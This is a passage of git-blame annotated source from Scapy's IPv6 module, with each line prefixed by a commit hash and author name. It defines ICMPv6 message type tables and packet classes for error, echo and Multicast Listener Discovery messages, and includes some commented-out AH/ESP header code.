1239c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     def i2len(self, pkt, x):
12400d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1241c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1242c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1243c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# class IPv6ExtHdrAH(_IPv6ExtHdr):
1244c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     name = "IPv6 Extension Header - AH"
1245c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
1246c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#                     _AHFieldLenField("len", None, "icv"),
1247c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#                     ShortField("res", 0),
1248c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#                     IntField("spi", 0),
1249c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#                     IntField("sn", 0),
1250c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#                     _AHICVStrLenField("icv", None, "len", shift=2) ]
1251c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     overload_fields = {IPv6: { "nh": 51 }}
1252c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1253c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     def post_build(self, pkt, pay):
1254c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#         if self.len is None:
1255c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#             pkt = pkt[0]+struct.pack("!B", 2*len(self.addresses))+pkt[2:]
1256c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#         if self.segleft is None:
1257c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#             pkt = pkt[:3]+struct.pack("!B", len(self.addresses))+pkt[4:]
1258c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#         return _IPv6ExtHdr.post_build(self, pkt, pay)
1259c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1260c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1261c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################### ESP Header ##################################
1262c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1263c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# class IPv6ExtHdrESP(_IPv6extHdr):
1264c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     name = "IPv6 Extension Header - ESP"
1265c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     fields_desc = [ IntField("spi", 0),
1266c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#                     IntField("sn", 0),
12670d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#                     # there is things to extract from IKE work
1268c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#                     ]
1269c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     overloads_fields = {IPv6: { "nh": 50 }}
1270c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
12710d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1272c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1273c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
1274c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
1275c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil###                           ICMPv6* Classes                             ###
1276c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
1277c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
1278c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1279c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilicmp6typescls = {    1: "ICMPv6DestUnreach",
1280c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     2: "ICMPv6PacketTooBig",
1281c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     3: "ICMPv6TimeExceeded",
1282c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     4: "ICMPv6ParamProblem",
1283c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   128: "ICMPv6EchoRequest",
1284c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   129: "ICMPv6EchoReply",
12850d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                   130: "ICMPv6MLQuery",
1286c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   131: "ICMPv6MLReport",
1287c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   132: "ICMPv6MLDone",
1288c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   133: "ICMPv6ND_RS",
1289c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   134: "ICMPv6ND_RA",
1290c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   135: "ICMPv6ND_NS",
1291c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   136: "ICMPv6ND_NA",
1292c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   137: "ICMPv6ND_Redirect",
1293c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #138: Do Me - RFC 2894 - Seems painful
1294c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   139: "ICMPv6NIQuery",
1295c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   140: "ICMPv6NIReply",
1296c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   141: "ICMPv6ND_INDSol",
1297c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   142: "ICMPv6ND_INDAdv",
1298c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #143: Do Me - RFC 3810
12990d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                   144: "ICMPv6HAADRequest",
130077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                   145: "ICMPv6HAADReply",
130177132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                   146: "ICMPv6MPSol",
130277132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                   147: "ICMPv6MPAdv",
1303c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #148: Do Me - SEND related - RFC 3971
1304c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #149: Do Me - SEND related - RFC 3971
1305c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   151: "ICMPv6MRD_Advertisement",
1306c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   152: "ICMPv6MRD_Solicitation",
1307c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   153: "ICMPv6MRD_Termination",
130877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                   }
1309c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1310b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadonicmp6typesminhdrlen = {    1: 8,
1311b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                           2: 8,
1312b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                           3: 8,
1313b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                           4: 8,
1314b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         128: 8,
1315b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         129: 8,
1316b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         130: 24,
1317b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         131: 24,
1318b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         132: 24,
1319b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         133: 8,
1320b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         134: 16,
1321b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         135: 24,
1322b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         136: 24,
1323b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         137: 40,
1324b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         #139:
1325b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         #140
1326b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         141: 8,
1327b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         142: 8,
1328b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         144: 8,
1329b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         145: 8,
1330b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         146: 8,
1331b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         147: 8,
1332b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         151: 8,
1333b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         152: 4,
1334b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         153: 4
1335b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                   }
1336b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon
13370d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzicmp6types = { 1 : "Destination unreachable",
13380d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz               2 : "Packet too big",
133977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil               3 : "Time exceeded",
1340c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               4 : "Parameter problem",
1341c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             100 : "Private Experimentation",
1342c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             101 : "Private Experimentation",
1343c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             128 : "Echo Request",
1344c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             129 : "Echo Reply",
1345c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             130 : "MLD Query",
134677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             131 : "MLD Report",
134777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             132 : "MLD Done",
134877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             133 : "Router Solicitation",
134977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             134 : "Router Advertisement",
135077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             135 : "Neighbor Solicitation",
135177132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             136 : "Neighbor Advertisement",
135277132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             137 : "Redirect Message",
135377132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             138 : "Router Renumbering",
13540d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz             139 : "ICMP Node Information Query",
13550d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz             140 : "ICMP Node Information Response",
135677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             141 : "Inverse Neighbor Discovery Solicitation Message",
135777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             142 : "Inverse Neighbor Discovery Advertisement Message",
135877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             143 : "Version 2 Multicast Listener Report",
135977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             144 : "Home Agent Address Discovery Request Message",
136077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             145 : "Home Agent Address Discovery Reply Message",
136177132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             146 : "Mobile Prefix Solicitation",
136277132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             147 : "Mobile Prefix Advertisement",
136377132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             148 : "Certification Path Solicitation",
136477132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             149 : "Certification Path Advertisement",
1365c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             151 : "Multicast Router Advertisement",
1366c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             152 : "Multicast Router Solicitation",
1367c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             153 : "Multicast Router Termination",
1368c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             200 : "Private Experimentation",
1369c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             201 : "Private Experimentation" }
1370c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1371c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1372c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _ICMPv6(Packet):
1373c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 dummy class"
1374c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: {"nh": 58}}
1375c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def post_build(self, p, pay):
137677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        p += pay
13770d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        if self.cksum == None:
137877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            chksum = in6_chksum(58, self.underlayer, p)
137977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            p = p[:2]+struct.pack("!H", chksum)+p[4:]
138077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        return p
1381c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1382c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
1383c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.payload.hashret()
1384c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1385c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def answers(self, other):
1386c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        # isinstance(self.underlayer, _IPv6ExtHdr) may introduce a bug ...
138777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        if (isinstance(self.underlayer, IPerror6) or
1388c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            isinstance(self.underlayer, _IPv6ExtHdr) and
1389c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            isinstance(other, _ICMPv6)):
139077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            if not ((self.type == other.type) and
139177132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    (self.code == other.code)):
139277132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                return 0
139377132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            return 1
139477132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        return 0
1395c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1396c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1397c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _ICMPv6Error(_ICMPv6):
1398c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 errors dummy class"
1399c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def guess_payload_class(self,p):
140077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        return IPerror6
1401c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1402c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6Unknown(_ICMPv6):
1403c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "Scapy6 ICMPv6 fallback class"
1404c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type",1, icmp6types),
1405c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code",0),
1406c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
14070d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    StrField("msgbody", "")]
1408c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1409c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1410c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil################################## RFC 2460 #################################
1411c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1412c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6DestUnreach(_ICMPv6Error):
1413c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Destination Unreachable"
1414c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type",1, icmp6types),
1415c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("code",0, { 0: "No route to destination",
1416c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                              1: "Communication with destination administratively prohibited",
1417c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                              2: "Beyond scope of source address",
1418c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                              3: "Address unreachable",
1419c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                              4: "Port unreachable" }),
1420c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
14212a8a6e94efab67482a6eb8926d1c85576500a9e4Guillaume Valadon                    ByteField("length", 0),
14222a8a6e94efab67482a6eb8926d1c85576500a9e4Guillaume Valadon                    X3BytesField("unused",0)]
1423c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1424c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6PacketTooBig(_ICMPv6Error):
1425c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Packet Too Big"
1426c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type",2, icmp6types),
1427c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code",0),
1428c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
1429c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("mtu",1280)]
14300d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1431c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6TimeExceeded(_ICMPv6Error):
1432c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Time Exceeded"
1433c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type",3, icmp6types),
1434b77e3cb7813eb79374d688dab2e1c4382cc6c6e3Guillaume Valadon                    ByteEnumField("code",0, { 0: "hop limit exceeded in transit",
14352a8a6e94efab67482a6eb8926d1c85576500a9e4Guillaume Valadon                                              1: "fragment reassembly time exceeded"}),
1436c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
14372a8a6e94efab67482a6eb8926d1c85576500a9e4Guillaume Valadon                    ByteField("length", 0),
14382a8a6e94efab67482a6eb8926d1c85576500a9e4Guillaume Valadon                    X3BytesField("unused",0)]
1439c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
14400d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# The default pointer value is set to the next header field of
1441c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# the encapsulated IPv6 packet
14420d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6ParamProblem(_ICMPv6Error):
1443c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Parameter Problem"
1444c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type",4, icmp6types),
1445c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("code",0, {0: "erroneous header field encountered",
1446c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                             1: "unrecognized Next Header type encountered",
1447c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                             2: "unrecognized IPv6 option encountered"}),
1448c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
1449c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("ptr",6)]
1450c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1451c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6EchoRequest(_ICMPv6):
1452c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Echo Request"
1453c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type", 128, icmp6types),
1454c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code", 0),
1455c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
1456c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("id",0),
1457c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("seq",0),
1458c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    StrField("data", "")]
1459c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def mysummary(self):
1460c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.sprintf("%name% (id: %id% seq: %seq%)")
1461c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
1462c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return struct.pack("HH",self.id,self.seq)+self.payload.hashret()
1463c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
14640d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1465c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6EchoReply(ICMPv6EchoRequest):
1466c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Echo Reply"
1467c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    type = 129
1468c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def answers(self, other):
14690d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        # We could match data content between request and reply.
1470c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return (isinstance(other, ICMPv6EchoRequest) and
1471c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                self.id == other.id and self.seq == other.seq and
1472c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                self.data == other.data)
1473c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1474c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1475c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############ ICMPv6 Multicast Listener Discovery (RFC3810) ##################
1476c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1477c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# tous les messages MLD sont emis avec une adresse source lien-locale
1478c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# -> Y veiller dans le post_build si aucune n'est specifiee
1479c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# La valeur de Hop-Limit doit etre de 1
1480c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# "and an IPv6 Router Alert option in a Hop-by-Hop Options
1481c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# header. (The router alert option is necessary to cause routers to
1482c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# examine MLD messages sent to multicast addresses in which the router
14830d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# itself has no interest"
1484c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _ICMPv6ML(_ICMPv6):
1485c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type", 130, icmp6types),
1486c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code", 0),
1487c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
1488c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortField("mrd", 0),
1489c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortField("reserved", 0),
1490b77e3cb7813eb79374d688dab2e1c4382cc6c6e3Guillaume Valadon                    IP6Field("mladdr","::")]
1491c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1492c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# general queries are sent to the link-scope all-nodes multicast
1493c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# address ff02::1, with a multicast address field of 0 and a MRD of
1494c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# [Query Response Interval]
1495c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Default value for mladdr is set to 0 for a General Query, and
1496c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# overloaded by the user for a Multicast Address specific query
1497c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# TODO : See what we can do to automatically include a Router Alert
1498c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#        Option in a Destination Option Header.
1499c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6MLQuery(_ICMPv6ML): # RFC 2710
1500c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MLD - Multicast Listener Query"
1501c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    type   = 130
1502f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero    mrd    = 10000 # 10s for mrd
1503f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero    mladdr = "::"
15040d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    overload_fields = {IPv6: { "dst": "ff02::1", "hlim": 1, "nh": 58 }}
1505c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
1506c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.mladdr != "::":
1507a1880b5ccfa0720d07aa77636b50af5e66f65ce9Pierre LALET            return (
1508a1880b5ccfa0720d07aa77636b50af5e66f65ce9Pierre LALET                inet_pton(socket.AF_INET6, self.mladdr) + self.payload.hashret()
1509a1880b5ccfa0720d07aa77636b50af5e66f65ce9Pierre LALET            )
1510c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        else:
1511c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return self.payload.hashret()
15120d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
15130d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1514c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# TODO : See what we can do to automatically include a Router Alert
1515c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#        Option in a Destination Option Header.
1516c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6MLReport(_ICMPv6ML): # RFC 2710
1517c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MLD - Multicast Listener Report"
1518c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    type = 131
1519e1d0631a37e4326084e0fa2a9cb9f6466667d9e8Guillaume Valadon    overload_fields = {IPv6: {"hlim": 1, "nh": 58}}
1520c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    # implementer le hashret et le answers
15210d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1522c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# When a node ceases to listen to a multicast address on an interface,
1523c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# it SHOULD send a single Done message to the link-scope all-routers
1524c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# multicast address (FF02::2), carrying in its multicast address field
1525c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# the address to which it is ceasing to listen
1526c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# TODO : See what we can do to automatically include a Router Alert
1527c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#        Option in a Destination Option Header.
1528c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6MLDone(_ICMPv6ML): # RFC 2710
1529c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MLD - Multicast Listener Done"
1530c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    type = 132
1531f9727001edc936020f47735a7653bbe1d2533026Guillaume Valadon    overload_fields = {IPv6: { "dst": "ff02::2", "hlim": 1, "nh": 58}}
1532c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1533c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1534c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil########## ICMPv6 MRD - Multicast Router Discovery (RFC 4286) ###############
1535c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
15360d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# TODO:
1537c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# - 04/09/06 troglocan : find a way to automatically add a router alert
1538c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#            option for all MRD packets. This could be done in a specific
